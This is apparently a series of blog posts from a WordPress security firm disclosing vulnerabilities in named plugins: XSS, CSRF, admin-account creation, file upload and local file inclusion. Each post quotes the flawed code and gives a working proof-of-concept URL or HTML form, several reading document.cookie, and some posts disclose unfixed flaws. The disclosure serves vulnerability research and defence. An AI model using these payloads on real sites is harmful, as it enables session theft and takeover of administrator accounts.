16 Oct

Full Disclosure of Reflected Cross-Site Scripting (XSS) Vulnerability in WooCommerce Order Export and More

The other day while looking for information on a vulnerability possibly related to a plugin that exports order information from WooCommerce we ran across a report of an unrelated possible vulnerability in the plugin WooCommerce Order Export and More from php-grindr.

That report pointed to the value of the GET or POST input “tab” being set to value of the variable $tab in the file /order-export-and-more-for-woocommerce/inc/jem-exporter.php:

130
$tab = $_REQUEST['tab'];

Where it isn’t sanitized.

The value is included in the variable $html on line 295:

		$html =  '
			<div class="hidden" style="display: none;" id="current-tab">' . $tab . '</div>

And then that is output without being escaped:

304
echo $html;

Checking over the rest of the code between those items made it look like there wasn’t anything else that would restrict that from being a reflected cross-site scripting (XSS) vulnerability. A quick test confirmed that it is exploited, as shown in the proof of concept below. This type of vulnerability has almost no chance of being exploited on the average website, unless you were to believe the misinformation put out by other security companies.

The values of the GET or POST inputs “sub-tab” and “entity” are similar exploitable.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in to WordPress as a user that has the “manage_woocommerce” capability. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=JEM_EXPORT_MENU&tab=""><script>alert(document.cookie);</script>
15 Oct

Full Disclosure of Cross-Site Request Forgery (CSRF)/User Import Vulnerability in RSVPMaker for Toastmasters

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. While we have a number of automated checks that are used to try to spot the possibility of those, most of the vulnerabilities found so far have come from only two of those. Once again, though another one of those has caught a vulnerability. This time a cross-site request forgery (CSRF)/user import vulnerability in RSVPMaker for Toastmasters, which could allow an attacker to cause a logged in Administrator user to create another Administrator account that is controlled by the attacker.

When the plugin’s Import/Export page, /wp-admin/admin.php?page=import_export, is accessed code runs that can create new WordPress users based on the contents of an URL. There is no protection CSRF when doing that so if a hacker could get a logged in Administrator to access a page they control they could cause that to happen.

The code for that starts with this:

3868
3869
3870
if(isset($_POST['importurl']))
{
	$message = file_get_contents($_POST['importurl']);

Which gets data used to create the accounts from a URL specified with the POST input “importurl”.

Later in the code it creates user_meta database entries derived from that data:

3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
foreach($user->usermeta as $meta_key => $meta_value)
{
	//echo '< div>'.$meta_key.' value:< /div>';
	if(is_serialized($meta_value))
		$value = unserialize($meta_value);
	else
		$value = $meta_value;
	//print_r($value);
	//echo '< br />';
	update_user_meta($member_id,$meta_key,$value);
	$record_count++;

The role of the new users is specified by the “wp_capabilities” meta_key, so the new users can easily be set to be administrators.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will create new WordPress users based on data on the specified URL (a sample of the format for that can be found on the plugin’s Import/Export page), when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[data URL]” with the URL where the data is stored.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=import_export" method="POST" >
<input type="hidden" name="importurl" value="[data URL]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
10 Oct

Reflected Cross-Site Scripting (XSS) Vulnerability in Testimonial Slider

In a post earlier today we mentioned running across mention of the plugin Testimonial Slider being removed from the Plugin Directory and the cause of that. While doing a bit of checking over the plugin we found another minor vulnerability (and there certainly could be more as the code we looked at isn’t securely written), we just happened across this one while looking for something else.

On line 267 of the file /slider_versions/testimonial_1.php the value of the variable $active_tab is output without being escaped:

jQuery("#slider_tabs").tabs({fx: { opacity: "toggle", duration: 300}, active: <?php echo $active_tab;?> }).addClass( "ui-tabs-vertical-left ui-helper-clearfix" );jQuery( "#slider_tabs li" ).removeClass( "ui-corner-top" ).addClass( "ui-corner-left" );

Several lines above that the variable can be defined:

261
if ( isset($_GET['page']) && ('testimonial-slider-admin' == $_GET['page']) &amp;&amp; isset($_POST['active_tab']) ) $active_tab=$_POST['active_tab'];

If you are request a certain of the plugin’s admin pages and send a POST input “active_tab” then the variable is set to the value of that POST input without being sanitized.

The lack of sanitization or escaping permits reflected cross-site scripting (XSS) to occur.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in to WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=testimonial-slider-admin" method="POST">
<input type="hidden" name="active_tab" value='</script><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
09 Oct

The WordPress Plugin Directory Team Should Spend Their Time Avoiding Issues Like This Instead of Acting Inappropriately as Forum Moderators

On day two of our doing  full disclosures of WordPress plugin vulnerabilities until the  inappropriate handling of the moderation of the WordPress Support Forum is cleaned up we disclosed a couple of easily spot table exploitable vulnerabilities that were in brand new plugins. As we noted then that shouldn’t be happening since there is supposed to be a manual security review as part of larger manual review of new plugins before they are allowed in the Plugin Directory. Either these reviews are not happening, which seems possible (for a number of reasons), or the security review is a failure at a basic level. If it is the latter we have offered to help improve the process, but we have never been taken up on that.

Part of the problem in all this could be that there are only six people on the team that handles everything related to the Plugin Directory, which seems far too low. They have claimed for at least year that there are unexplained technical issues preventing them from being able to bring on more people, which sounds rather odd. For two of the members, though while they don’t seem time to have made sure new plugins don’t introduce those vulnerabilities they do have time to act inappropriately in their role as a moderator of the Support Forum, in some instances in way that gets in the way of actually discussing fixing problems they have allowed to fester. That seems like a good reason for them to resign at least from their role as a moderator.

The other day yet another plugin got introduced with a vulnerability that should have been caught as it is a variant of a vulnerability likely to be exploited by hackers, even when almost no one is using a plugin with that type of vulnerability.

As part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited, we picked up the plugin HDInvoice being introduced with the possibility of an arbitrary file upload vulnerability based on this line of code:

13
if (!move_uploaded_file($_FILES['hdv_file_upload']['tmp_name'], $hdv_upload_dir.sanitize_text_field($_FILES['hdv_file_upload']['name']))) {

That is something that is picked up by our Plugin Security Checker and we have offered to provide the Plugin Directory free access to the more advanced mode of that, which would make picking up this sort of thing easy.

Looking at the code around it we could see that when the file /includes/templates/import.php is loaded from the context of WordPress it would allow uploading files without any restrictions:

6
7
8
9
10
11
12
13
14
$hdv_dashboard = get_option('hdv_dashboard');
$csvFile = "";
//if a CSV was uploaded
if (isset($_FILES["hdv_file_upload"])) {	
	$upload_dir = wp_upload_dir();
	$hdv_upload_dir = $upload_dir['basedir'] .'/hdinvoice/';
	wp_mkdir_p($hdv_upload_dir);
    if (!move_uploaded_file($_FILES['hdv_file_upload']['tmp_name'], $hdv_upload_dir.sanitize_text_field($_FILES['hdv_file_upload']['name']))) {
        die('Error uploading file - check destination is writeable.');

We then checked were the file would be loaded and found one place was in the function hdv_view_import():

132
133
134
135
function hdv_view_import()
{
    if (current_user_can('edit_others_pages')) {
        include(dirname(__FILE__).'/../templates/import.php');

For it to load there the request has to come from someone logged in to WordPress with the “edit_others_pages” capability, which is normally restricted to Editor and Administrator level users.

That function in turn runs when visiting the plugin’s admin page with the GET input “import” set to true:

132
133
134
if (isset($_GET['import']) &amp;&amp; !empty($_GET['import'])) {
	if ($_GET['import'] == "true") {
		hdv_view_import();

That page is accessible by Editor level users, so you have an authenticated arbitrary file upload vulnerability (Administrators are usually permitted to do the equivalent of this vulnerability, so them being able to do it wouldn’t be a vulnerability). Since there is no protection against cross-site request forgery (CSRF) in any of that code, the vulnerability is also exploitable through that.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/hdinvoice/, when logged in to WordPress as an Editor.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/hdinvoice/?import=true" method="POST" enctype="multipart/form-data">
<input type="file" name="hdv_file_upload" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
04 Oct

Our Proactive Monitoring Caught a Restricted File Upload Vulnerability in VendorFuel

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. While we have a number of automated checks that are used to try to spot the possibility of those, most of the vulnerabilities found so far have come from only two of those. Recently though another one of those caught a vulnerability in the plugin VendorFuel that allows anyone to rewrite the contents of a .css file that is part of the plugin.

The code that causes that is at the beginning of the file /admin-pages/styling.php:

2
3
4
5
6
7
if (isset($_POST['customcss'])) {
 
	$file_open = fopen(dirname(__DIR__) . '/local/css/style.css', "w+");
	fwrite($file_open, stripslashes($_POST['customcss']));
	fclose($file_open);
}

With that code, if the POST input “customcss” exists, then the value of it will be written to the file /wp-content/plugins/vendorfuel/local/style.css,

So what could be done with this vulnerability beyond just changing the CSS? One thing that could be done with that is to combine it with a local file inclusion (LFI) vulnerability, to run malicious PHP code added to the file. There also have been known to be security issues connected to CSS, like one that was recently disclosed that could crash iPhones (though that one wouldn’t be something that could be exploited with this vulnerability).

Further into the file the contents of the the style.css are output without being escaped, which would permit persistent cross-site scripting (XSS) to occur if some visiting that styling.php page after malicious JavaScript has been saved to the style.css file.

26
27
28
29
30
$datalines = file(dirname(__DIR__) . '/local/css/style.css');
 
				foreach ($datalines as $zz) {
					echo $zz;
				}

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. Hopefully they will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

If you used our service you likely would have already been warned if you were impacted by this vulnerability by the time you were reading it.

Proof of Concept

The following proof of concept will cause the contents of the file /wp-content/plugins/vendorfuel/local/style.css to be set to “This shouldn’t be here.”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/vendorfuel/admin-pages/styling.php" method="POST">
<input type="hidden" name="customcss" value="This shouldn't be here." />
<input type="submit" value="Submit" />
</form>
</body>
03 Oct

New Check in Our Plugin Security Checker Already Spotted Vulnerability in WordPress Plugin with 100,000+ Active Installs

About a month ago we mentioned that moderators of the WordPress Support Forum’s deletion of discussions of security issues can be unhelpful, in the context of us seeing mention of a vulnerability in a thread that was quickly deleted, realizing there was another related vulnerability, and then adding a check for that other vulnerability to our Plugin Security Checker, which provides a limited but expanding capability to check for possible security issues in plugins. Just days later that new check flagged a possible issue in a plugin with 100,000+ active installs that was being run through it and a quick check confirmed that it was an exploitable vulnerability (though far from a serious issue for the average website). That the vulnerability was found in, Ultimate Member, wasn’t all that surprising considering that Plugin Security Checker had previously identified another vulnerability of the same type in the plugin a couple of months ago.

Here are the details of the possible reflected cross-site scripting (XSS) vulnerability that was identified, which are available to users of our service through the Plugin Security Checker’s Developer Mode:

That certainly looked like there was that type of vulnerability as user input was being output without being escaped and a quick check confirmed that this was an exploitable vulnerability, as can be seen with the proof of concept below.

The vulnerability had been in the plugin since April without anyone noticing it before this, which again shows what the continued improvements to our Plugin Security Checker are bringing to the table in terms of improving the security of WordPress plugins.

After we notified the developer they released version 2.0.26 which fixes this by escaping the output using esc_attr():

<input type="hidden" name="role[id]" value="<?php echo isset( $_GET['id'] ) ? esc_attr( $_GET['id'] ) : '' ?>" />

If you were relying on the changelog of the plugin to determine if there were any security fixes you wouldn’t know that though, as there is no mention about it in that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=um_roles&tab=edit&id="><script>alert(document.cookie);</script>

Timeline

  • September 6, 2018 – Developer notified.
  • September 7, 2018 – Developer responds.
  • October 2, 2018 – Version 2.0.26 released, which fixes vulneraiblity.
02 Oct

Reflected Cross-Site Scripting (XSS) Vulnerability in Bitcoin Faucet

Recently we ran the plugin Bitcoin Faucet through our automated tool for checking over the security of WordPress plugins and it identified a possible reflected cross-site scripting vulnerability (XSS) in the plugin:

Unless the user input was sanitized or validated those should lead to vulnerabilities, since malicious JavaScript could output through that code. The contents of the file those are in doesn’t do either of those, so there is a vulnerability:

1
2
3
4
5
6
7
&lt;?php
print_r($_GET);
 
if(isset($_GET['palette']))
{
echo($_GET['palette']);
}

It’s not clear what the purpose of that file would be since it isn’t being utilized anywhere in the plugin as far as we could tell.

We couldn’t find a private contact for the developer, so in the past would have probably just disclosed this due the continued problems caused by terrible moderators anytime we try to have any interaction through WordPress’ Support Forum. But seeing as things have gotten so bad that we moved to intentional full disclosure until they clean up their act (so far their response has only been to make it harder to keep WordPress websites secure), that is how we are handling all vulnerabilities for the time being.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/bitcoin-faucet/templates/default/palettes/trof_palette_fetcher.php?palette=<script>alert("XSS");</script>
01 Oct

Full Disclosure of CSRF/LFI Vulnerability In Plugin With 30,000+ Active Installs

The description of the plugin Companion Auto Update, which has 30,000+ active installations according to wordpress.org, starts with the message:

KEEP YOUR WEBSITE SAFE!

But the plugin itself introduces a cross-site request forgery (CSRF)/local file inclusion (LFI) vulnerability, as we found while doing some checking of the 1,000 most popular plugins in the Plugin Directory against some of the checks included in our automated tool for identifying possible security issues in WordPress plugins, the Plugin Security Checker. That tool isn’t something that is very advanced, so it is troubling that it is it able to detect so many vulnerabilities in some of the most popular plugins.

In this case, the tool would detect the possibility of a LFI vulnerability based on this line in the plugin (in the file /companion-auto-update.php):

185
require_once( 'admin/'.$_GET['tab'].'.php' );

Through path traversal that code could allow any file with a .php extension to be included, causing the code in the specified file to run.

What would determine if that is a vulnerability is how that code could be accessed and if the user input used on that line is somehow limited before it is accessed.

That line runs in the function cau_frontend(). That function doesn’t limit the user input, but that function is called when an admin page is loaded that is only accessible to user with the “manage_options” capability (normally only Administrators have that):

130
add_submenu_page( cau_menloc() , __('Auto Updater', 'companion-auto-update'), __('Auto Updater', 'companion-auto-update'), 'manage_options', 'cau-settings', 'cau_frontend' );

Seeing as Administrators can normally do whatever they want, them intending to use that for to cause file to be included wouldn’t be a vulnerability since among other things they could normally remove security code that would restrict something like this from being possible or just upload a plugin that runs any code they want already.

But in this case, an attacker can cause this to happen without the Administrator intending it since if the attacker could get the Administrator to visit a URL they specify they can cause the local file inclusion vulnerability to be exploited.

This vulnerability has existed in the plugin for over seven months without it being noticed, but anyone checking the plugin with our Plugin Security Checker would have been notified of the possible issue.

Due to the moderators of the WordPress Support Forum continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. If you have a problem with this type of full disclosure please contact the leadership of WordPress and let them know that the moderation of this forum needs to be cleaned up, since that is how these full disclosures will end (we hope they end soon).

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/tools.php?page=cau-settings&tab=..%2F..%2Ftest&cau_page=advanced
28 Sep

Full Disclosure of Reflected Cross-Site Scripting (XSS) Vulnerability in Plugin with 30,000+ Active Installs

To close out our first week of full disclosing vulnerabilities in WordPress plugins until the people on the WordPress side of things finally clean up the moderation of their Support Forum, we return back to something from the first day and a reminder of an example of why the Support Forum moderators behavior is harmful to actually improving security. We and others other often find additional vulnerabilities based on seeing reports of other vulnerabilities (and with our Plugin Security Checker tool we help find even more), so that makes the moderators deletion of reports of them on the Support Forum have a negative impact on improving security. Of course there is the other side of having the details of these vulnerabilities public, especially if they haven’t been fixed, but the best solution is to get them fixed. Once something has been disclosed it would be foolish to assume that people with bad intentions haven’t seen it, but the people on the WordPress side of things don’t seem to have a great grasp as to how the Internet works. Thus the most important thing is to make sure the vulnerability is fixed, but what seems to usually happen is that the moderators simply delete the reports and then don’t actually bother to notify anyone that could do anything about fixing the vulnerability. That was the case with the first plugin we full disclosed.

On Tuesday we discussed how Janek Vind’s report on reflected cross-site scripting (XSS) vulnerability in FV Flowplayer Video Player, lead to us check the 1,000 most popular plugins to get an idea of if there might be similar issues in other plugins while considering adding a check for some instances of them to our Plugin Security Checker. Through that we found just such a vulnerability in a plugin with 700,000+ active installations according to wordpress.org. We also added a check that would catch that to our Plugin Security Checker.

We also found a related vulnerability in the plugin Magee Shortcodes, which has 30,000+ active installations according to wordpress.org, though not one that the Plugin Security Checker can catch due the more complicated path the variable used in it goes.

The plugin registers the function say() to be accessible through WordPress’ AJAX functionality whether the requester is logged in or not:

35
36
add_action('wp_ajax_say', array(&$this, 'say'));
add_action('wp_ajax_nopriv_say', array(&$this, 'say'));

In that function the value of the variable $shortcode is run through the do_shortcode() function and then output:

1197
echo do_shortcode($shortcode);

Prior to that, code brings in user input in various locations and combines that in to the $shortcode variable. In playing around with modifying the standard input for that, we found an input where JavaScript code could get output through that line of code, as can be seen the proof of concept below, which is reflected cross-site (XSS) vulnerability. This type of vulnerability has almost no chance of being exploited on the average website, unless you were to believe the misinformation put out by other security companies.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=say" method="POST">
<input type="hidden" name="name" value="pullquote" />
<input type="hidden" name="preview[0][name]" value="magee_align" />
<input type="hidden" name="preview[0][value]" value="]<script>alert(document.cookie);</script>" />
<input type="hidden" name="preview[1][name]" value="magee_content" />
<input type="hidden" name="preview[1][value]" value="" />
<input type="hidden" name="preview[2][name]" value="magee_class" />
<input type="hidden" name="preview[2][value]" value="" />
<input type="hidden" name="preview[3][name]" value="magee_id" />
<input type="hidden" name="preview[3][value]" value="" />
<input type="hidden" name="preview[4][name]" value="magee-shortcode" />
<input type="hidden" name="preview[4][value]" value="pullquote" />
<input type="hidden" name="preview[5][name]" value="magee-shortcode-textarea" />
<input type="hidden" name="preview[5][value]" value="" />
<input type="submit" value="Submit" />
</form>
</body>